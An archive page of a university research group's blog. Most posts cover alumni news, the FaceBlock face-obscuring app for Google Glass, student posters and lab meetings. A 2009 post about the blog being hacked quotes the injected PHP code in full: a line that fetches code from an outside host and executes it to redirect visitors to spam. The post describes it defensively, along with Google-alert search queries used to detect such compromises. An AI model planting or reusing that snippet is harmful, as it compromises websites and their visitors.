UMBC ebiquity
Ebiquity

Archive for the 'Ebiquity' Category

Ebiquity alumna Lalana Kagal featured for privacy work

June 15th, 2014, by Tim Finin, posted in alumni, Ebiquity, Privacy, Security, Semantic Web

Congratulations to ebiquity alumna Lalana Kagal (Ph.D. 2004) for being featured on MIT’s home page recently for recent work with Ph.D. student Oshani Seneviratne on enabling people to track how their private data is used online. You can read more about their work via this MIT news item and in their paper Enabling Privacy Through Transparency which will be presented next month in the 2014 IEEE Privacy Security and Trust conference.

Do not be a Gl***hole, use Face-Block.me!

March 27th, 2014, by Prajit Kumar Das, posted in Ebiquity, Google, Mobile Computing, Policy, Semantic Web, Social, Wearable Computing

If you are a Google Glass user, you might have been greeted with concerned looks or raised eyebrows at public places. There has been a lot of chatter in the “interweb” regarding the loss of privacy that results from people taking your pictures with Glass without notice. Google Glass has simplified photography but as what happens with revolutionary technology people are worried about the potential misuse.

FaceBlock helps to protect the privacy of people around you by allowing them to specify whether or not to be included in your pictures. This new application developed by the joint collaboration between researchers from the Ebiquity Research Group at University of Maryland, Baltimore County and Distributed Information Systems (DIS) at University of Zaragoza (Spain), selectively obscures the face of the people in pictures taken by Google Glass.

Comfort at the cost of Privacy?

As the saying goes, “The best camera is the one that’s with you”. Google Glass suits this description as it is always available and can take a picture with a simple voice command (“Okay Glass, take a picture”). This allows users to capture spontaneous life moments effortlessly. On the flip side, this raises significant privacy concerns as pictures can taken without one’s consent. If one does not use this device responsibly, one risks being labelled a “Glasshole”. Quite recently, a Google Glass user was assaulted by the patrons who objected against her wearing the device inside the bar. The list of establishments which has banned Google Glass within their premises is growing day by day. The dos and donts for Glass users released by Google is a good first step but it doesn’t solve the problem of privacy violation.

FaceBlock_Image_Google_Glass

Privacy-Aware pictures to the rescue

FaceBlock takes regular pictures taken by your smartphone or Google Glass as input and converts it into privacy-aware pictures. This output is generated by using a combination of Face Detection and Face Recognition algorithms. By using FaceBlock, a user can take a picture of herself and specify her policy/rule regarding pictures taken by others (in this case ‘obscure my face in pictures from strangers’). The application would automatically generate a face identifier for this picture. The identifier is a mathematical representation of the image. To learn more about the working on FaceBlock, you should watch the following video.

Using Bluetooth, FaceBlock can automatically detect and share this policy with Glass users near by. After receiving this face identifier from a nearby user, the following post processing steps happen on Glass as shown in the images.

FaceBlock_Image_Eigen_UncheckFaceBlock_Image_Eigen_CheckFaceBlock_Image_Blur

What promises does it hold?

FaceBlock is a proof of concept implementation of a system that can create privacy-aware pictures using smart devices. The pervasiveness of privacy-aware pictures could be a right step towards balancing privacy needs and comfort afforded by technology. Thus, we can get the best out of Wearable Technology without being oblivious about the privacy of those around you.

FaceBlock is part of the efforts of Ebiquity and SID in building systems for preserving user privacy on mobile devices. For more details, visit http://face-block.me

Three ebiquity student posters at the 2012 GHC

October 5th, 2012, by Tim Finin, posted in Ebiquity, GENERAL

Three Ph.D. students from the ebiquity lab have posters at the ACM Student Research Competition and General Poster Session of the 2012 Grace Hopper Celebration of Women in Computing conference. The GHC conference is the largest technical conference for women in computing and results in collaborative proposals, networking and mentoring for junior women and increased visibility for the contributions of women in computing. Conference presenters are leaders in their respective fields, representing industry, academia and government. Top researchers present their work while special sessions focus on the role of women in today’s technology fields.

The three ebiquity lab students with posters this year are:

Automation of Cloud Services lifecycle by using Semantic technologies,
Karuna Panda Joshi

We have developed a new framework for automating the configuration, negotiation and procurement of services in a cloud computing environment using semantic web technologies.We have developed detailed Ontologies for the framework. We have designed a prototype, called Smart Cloud Services, which is based on this framework and also incorporates NIST’s policies on cloud computing. This prototype is integrated with different cloud platforms like Eucalyptus and VCL.

A Knowledge-Based Approach To Intrusion Detection Modeling,
M. Lisa Mathews

Current state of the art intrusion detection and prevention systems (IDPS) are signature-based systems that detect threats and vulnerabilities by cross-referencing the threat/vulnerability signatures in their databases. These systems are incapable of taking advantage of heterogeneous data sources for analysis of system activities for threat detection. This work presents a situation-aware intrusion detection model that integrates these heterogeneous data sources and builds a semantically rich knowledge-base to detect cyber threats/vulnerabilities.

Unsupervised Coreference Resolution for FOAF Instances,
Jennifer Alexander Sleeman

Coreference Resolution determines when two entity descriptions represent the same real world entity. Friend of a Friend (FOAF) is an ontology about people and their social networks. Currently there is not a way to easily recognize when two FOAF instances represent the same entity. Existing techniques that use supervised learning typically do not support incremental processing. I present an unsupervised approach that supports both heterogeneous data and incremental online processing.

Akshaya Iyengar (MS 2011) on Wikipedia

December 24th, 2011, by Tim Finin, posted in Ebiquity, UMBC

It’s very nice to see ebiquity alumna Akshaya Iyengar (MS, 2011) helping Wikipedia during its fund raising campaign. If you visit Wikipedia you might see her gracing a page you get, as I did just a minutes ago. See this screenshot and read her statement on why she has been donating to Wikipedia here. Her generosity has inspired me to contribute also.

Ten years of words from ebiquity papers

September 16th, 2011, by Tim Finin, posted in Ebiquity, NLP, Semantic Web

Here’s a word cloud that visualizes the 200 most significant words extracted from over 400 papers from our research group over the past ten years. Significance was estimated by tf-idf where the idf data is from a collection of newswire articles (thanks Paul!). The word cloud was created with Wordle.

Follow UMBC Ebiquity on Twitter, Facebook and/or your feed reader

September 7th, 2010, by Tim Finin, posted in Ebiquity, Social media

We are generating short status messages for Ebiquity news and pushing them out to Twitter and Facebook. The messages generally have a shortened links connecting back to the full item, which might be a new paper, an event or a blog post. This will be a convenient way to track what is new on the Ebiquity site for many.

Now there are three easy ways to enjoy fresh Ebiquity news:

  • Check out the Ebiquity twitter page and follow @ebiquity if you want to have our tweets show up in your stream.
  • If Facebook is your thing, you can go to the UMBC Ebiquity Research Group page and click on the LIKE button to have the short Ebiquity updates show up on your wall.
  • If you’re old school, you can also view our combined news stream on Planet Ebiquity and/or get it as an atom RSS feed for your favorite feed reader.

Ralph Semmel, CSEE alumnus, named director of JHU APL

June 10th, 2010, by Tim Finin, posted in Ebiquity, UMBC

UMBC Computer Science alumnus Ralph Semmel (PhD. 1991) was just named as the next director of the Johns Hopkins University Applied Physics Laboratory. APL has a staff of 4,600 and an annual funding level of about $980 million. Dr. Semmel’s dissertation, A knowledge-based approach to automatic query formulation, developed novel techniques to disambiguate conceptual queries against a relational database. His dissertation research was supervised by his mentor, Computer Science Professor James Mayfield. We congratulate Ralph and wish him well in his new position.

Ebiquity Google alert tripwires triggered

May 21st, 2009, by Tim Finin, posted in Ebiquity, Google, Security, splog

Yesterday we discovered that our ebiquity blog had been hacked. It looks like a vulnerability in our old WordPress installation was exploited to add the following code to the top of our blog’s main page.

< ?php $site = create_function('','$cachedir="/tmp/"; $param="qq"; $key=$_GET[$param]; $rand="1239aef"; $said=23; $type=1; $stprot="http://blogwp.info"; '.file_get_contents(strrev("txt.mrahp/elpmaxe/deliated/ofni.pwgolb//:ptth"))); $site(); ?>

This code caused URLs like http://ebiquity.umbc.edu/?qq=1671 to redirect to a spam page. We’ve upgraded the blog to the latest WordPress release, which hopefully will prevent this exploit from being used again. (Notice the reversed URL — LOL!)

We discovered the problem though a clever trick I read about last year on a site I’ve forgotten (maybe here). We created several Google alerts triggered by the appearance of spam-related words on pages apparently hosted by ebiquity.umbc.edu. For example:

  • adult OR girls OR sex OR sexx OR XXX OR porn OR pornography site:ebiquity.umbc.edu
  • viagra OR cialis OR levitra OR Phentermine OR Xanax site:ebiquity.umbc.edu

I would get several false positives a month from these alerts triggered by non-spam entries on our site. In fact, *this* post will generate a false positive. But yesterday I got a true positive. Looking at the log files, I think I got the alert within a few hours of when our blog was hacked. So I am happy to say that this worked and worked well. Without this alert, it might have taken weeks to notice the problem.


Google alert for a hacked website

The results of this Google search reveal many compromised blogs from the .edu domain.

Akshay on Twitter in the NYT

April 15th, 2009, by Tim Finin, posted in Ebiquity, Social media, Twitter

We were happy to see recent UMBC alumnus Akshay Java’s work on Twitter is mentioned in an article, Utility in the Jumble of Tweets, in yesterday’s New York Times.

“Some developers are creating tools to help companies keep an eye on the buzz. Akshay Java, a scientist at Microsoft, is trying to figure out a way to identify which experts are most influential on given topics by automatically analyzing the content of their tweets and who is in their Twitter network. Companies like Microsoft could use that information to figure out which twitterers they should contact to create buzz about a new product.”

SMOOTH: an efficient method for probabilistic knowledge integration

October 12th, 2008, by Tim Finin, posted in AI, Ebiquity

In this week’s ebiquity meeting (10:30am Tue Oct 14), PhD student Shenyong Zhang will present his recent work with Yun Peng on SMOOTY, a new efficient method for modifying a joint probability distribution to satisfy a set of inconsistent constraints. It extends the well-known “iterative proportional fitting procedure” (IPFP) which only works with consistent constraints. Compared to existing methods, SMOOTH is computationally more efficient and insensitive to data. Moreover, SMOOTH can be easily integrated with Bayesian networks for Bayesian reasoning with inconsistent constraints. A paper on this work, An Efficient Method for Probabilistic Knowledge Integration will apear in the proceedings of The 20th IEEE International Conference on Tools with Artificial Intelligence next month.

Fall 2008 weekly ebiquity meetings: 10:30am Tuesdays

August 24th, 2008, by Tim Finin, posted in Ebiquity, UMBC

We plan to hold our weekly ebiquity meetings on Tuesday mornings, from 10:30 to 12:00 in ITE 325b starting on September 2. We’ve not yet received confirmation that the large conference room will be available, so it’s possible that the room will change or even the day. By meeting at 10:30am we hope that Dr. Joshi will be able to join us via the Internet while he is in India. When the time changes later in the Fall we may need to start the meeting at 10:00am.

Our meetings are open and we encourage new students who are interested in our research and joining the group to drop in. We usually ask someone to present something for each meeting — either their own work, an emerging topic or problem, or an interesting new paper. Our initial meeting will be more informal, but returning members should be prepared to describe how you spent your summer and new students to introduce themselves.

As usual, you should watch the ebiquity web site for announcements of the weekly events and/or subscribe to the UMBC ebiquity events feed.

If we do need to change to room or day of the week we will send out another message early in the coming week and make a new update this post on the ebiquity blog. But for now, please reserve Tuesdays from 10:00 to 12:00 for our weekly ebiquity meeting.

We are on a new server

July 11th, 2008, by Anupam Joshi, posted in Ebiquity, GENERAL

After several months of procrastination, we’re on a new server. Nicer, faster, hopefully more secure. Thanks to Filip, who helped make the transition painless!

You are currently browsing the archives for the Ebiquity category.

  Home | Archive | Login | Feed